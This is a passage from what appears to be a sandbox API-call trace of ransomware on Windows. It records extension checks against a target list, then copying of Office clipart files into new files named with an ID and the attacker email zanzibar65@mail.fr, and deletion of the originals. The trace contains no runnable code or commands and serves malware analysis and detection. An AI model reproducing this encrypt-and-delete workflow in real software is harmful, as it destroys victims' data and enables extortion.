Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.124] lstrlenW (lpString=".dbf") returned 4 [0272.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.125] lstrlenW (lpString=".1cd") returned 4 [0272.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.125] lstrlenW (lpString=".jpg") returned 4 [0272.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.125] lstrlenW (lpString=".doc") returned 4 [0272.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString=".docx") returned 5 [0272.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.125] lstrlenW (lpString=".pdf") returned 4 [0272.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString=".xls") returned 4 [0272.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.125] lstrlenW (lpString=".xlsx") returned 5 [0272.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.125] lstrlenW (lpString=".ppt") returned 4 [0272.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.125] lstrlenW (lpString=".zip") returned 4 [0272.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.125] lstrlenW (lpString=".rar") returned 4 [0272.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString=".bz2") returned 4 [0272.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.125] lstrlenW (lpString=".7z") returned 3 [0272.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.125] lstrlenW (lpString=".dbf") returned 4 [0272.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.126] lstrlenW (lpString=".1cd") returned 4 [0272.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0272.126] lstrlenW (lpString=".jpg") returned 4 [0272.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.126] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.126] lstrlenW (lpString="EN00319_.WMF") returned 12 [0272.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.172] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=2280) returned 1 [0272.174] CloseHandle (hObject=0x2f0) returned 1 [0272.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0272.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.196] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.196] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.230] GetLastError () returned 0x0 [0272.230] ReadFile (in: hFile=0x384, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x8e8, lpOverlapped=0x0) returned 1 [0272.232] WriteFile (in: hFile=0x2f0, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x8f0, lpOverlapped=0x0) returned 1 [0272.232] ReadFile (in: hFile=0x384, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.232] WriteFile (in: hFile=0x2f0, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.233] SetEndOfFile (hFile=0x2f0) returned 1 [0272.233] CloseHandle (hObject=0x2f0) returned 1 [0272.233] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.233] SetEndOfFile (hFile=0x384) returned 1 [0272.237] CloseHandle (hObject=0x384) returned 1 [0272.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0272.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.285] lstrlenW (lpString=".doc") returned 4 [0272.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.285] lstrlenW (lpString=".docx") returned 5 [0272.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.285] lstrlenW (lpString=".pdf") returned 4 [0272.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString=".xls") returned 4 [0272.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.286] lstrlenW (lpString=".xlsx") returned 5 [0272.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.286] lstrlenW (lpString=".ppt") returned 4 [0272.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.286] lstrlenW (lpString=".zip") returned 4 [0272.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.286] lstrlenW (lpString=".rar") returned 4 [0272.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString=".bz2") returned 4 [0272.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString=".7z") returned 3 [0272.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.286] lstrlenW (lpString=".dbf") returned 4 [0272.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.286] lstrlenW (lpString=".1cd") returned 4 [0272.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.286] lstrlenW (lpString=".jpg") returned 4 [0272.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.286] lstrlenW (lpString=".doc") returned 4 [0272.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.286] lstrlenW (lpString=".docx") returned 5 [0272.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.287] lstrlenW (lpString=".pdf") returned 4 [0272.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.287] lstrlenW (lpString=".xls") returned 4 [0272.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.287] lstrlenW (lpString=".xlsx") returned 5 [0272.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.287] lstrlenW (lpString=".ppt") returned 4 [0272.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.287] lstrlenW (lpString=".zip") returned 4 [0272.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.287] lstrlenW (lpString=".rar") returned 4 [0272.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.287] lstrlenW (lpString=".bz2") returned 4 [0272.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.287] lstrlenW (lpString=".7z") returned 3 [0272.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.287] lstrlenW (lpString=".dbf") returned 4 [0272.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.287] lstrlenW (lpString=".1cd") returned 4 [0272.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0272.288] lstrlenW (lpString=".jpg") returned 4 [0272.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.288] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.288] lstrlenW (lpString="EN00902_.WMF") returned 12 [0272.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0272.326] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=7944) returned 1 [0272.326] CloseHandle (hObject=0x304) returned 1 [0272.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0272.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.346] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.346] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0272.350] GetLastError () returned 0x0 [0272.350] ReadFile (in: hFile=0x394, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x1f08, lpOverlapped=0x0) returned 1 [0272.357] WriteFile (in: hFile=0x390, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0272.358] ReadFile (in: hFile=0x394, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.358] WriteFile (in: hFile=0x390, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.358] SetEndOfFile (hFile=0x390) returned 1 [0272.359] CloseHandle (hObject=0x390) returned 1 [0272.359] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.359] SetEndOfFile (hFile=0x394) returned 1 [0272.361] CloseHandle (hObject=0x394) returned 1 [0272.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0272.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.361] lstrlenW (lpString=".doc") returned 4 [0272.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.361] lstrlenW (lpString=".docx") returned 5 [0272.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.361] lstrlenW (lpString=".pdf") returned 4 [0272.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.362] lstrlenW (lpString=".xls") returned 4 [0272.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.362] lstrlenW (lpString=".xlsx") returned 5 [0272.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.362] lstrlenW (lpString=".ppt") returned 4 [0272.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.362] lstrlenW (lpString=".zip") returned 4 [0272.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.362] lstrlenW (lpString=".rar") returned 4 [0272.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.362] lstrlenW (lpString=".bz2") returned 4 [0272.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.362] lstrlenW (lpString=".7z") returned 3 [0272.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.362] lstrlenW (lpString=".dbf") returned 4 [0272.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.362] lstrlenW (lpString=".1cd") returned 4 [0272.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.362] lstrlenW (lpString=".jpg") returned 4 [0272.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.362] lstrlenW (lpString=".doc") returned 4 [0272.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.363] lstrlenW (lpString=".docx") returned 5 [0272.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.363] lstrlenW (lpString=".pdf") returned 4 [0272.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.363] lstrlenW (lpString=".xls") returned 4 [0272.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.363] lstrlenW (lpString=".xlsx") returned 5 [0272.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.363] lstrlenW (lpString=".ppt") returned 4 [0272.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.363] lstrlenW (lpString=".zip") returned 4 [0272.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.363] lstrlenW (lpString=".rar") returned 4 [0272.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.363] lstrlenW (lpString=".bz2") returned 4 [0272.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.363] lstrlenW (lpString=".7z") returned 3 [0272.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.363] lstrlenW (lpString=".dbf") returned 4 [0272.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.364] lstrlenW (lpString=".1cd") returned 4 [0272.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0272.364] lstrlenW (lpString=".jpg") returned 4 [0272.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.364] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.364] lstrlenW (lpString="FD00077_.WMF") returned 12 [0272.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.367] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=30240) returned 1 [0272.367] CloseHandle (hObject=0x384) returned 1 [0272.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0272.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.367] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.367] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.368] GetLastError () returned 0x0 [0272.368] ReadFile (in: hFile=0x384, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x7620, lpOverlapped=0x0) returned 1 [0272.540] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x7630, lpOverlapped=0x0) returned 1 [0272.541] ReadFile (in: hFile=0x384, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.541] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.541] SetEndOfFile (hFile=0x398) returned 1 [0272.541] CloseHandle (hObject=0x398) returned 1 [0272.541] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.541] SetEndOfFile (hFile=0x384) returned 1 [0272.760] CloseHandle (hObject=0x384) returned 1 [0272.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0272.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.761] lstrlenW (lpString=".doc") returned 4 [0272.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.761] lstrlenW (lpString=".docx") returned 5 [0272.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.761] lstrlenW (lpString=".pdf") returned 4 [0272.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.761] lstrlenW (lpString=".xls") returned 4 [0272.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.761] lstrlenW (lpString=".xlsx") returned 5 [0272.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.761] lstrlenW (lpString=".ppt") returned 4 [0272.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.761] lstrlenW (lpString=".zip") returned 4 [0272.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.761] lstrlenW (lpString=".rar") returned 4 [0272.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.761] lstrlenW (lpString=".bz2") returned 4 [0272.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.761] lstrlenW (lpString=".7z") returned 3 [0272.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.761] lstrlenW (lpString=".dbf") returned 4 [0272.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.762] lstrlenW (lpString=".1cd") returned 4 [0272.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.762] lstrlenW (lpString=".jpg") returned 4 [0272.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.762] lstrlenW (lpString="C:\\Program Files\\Microsoft 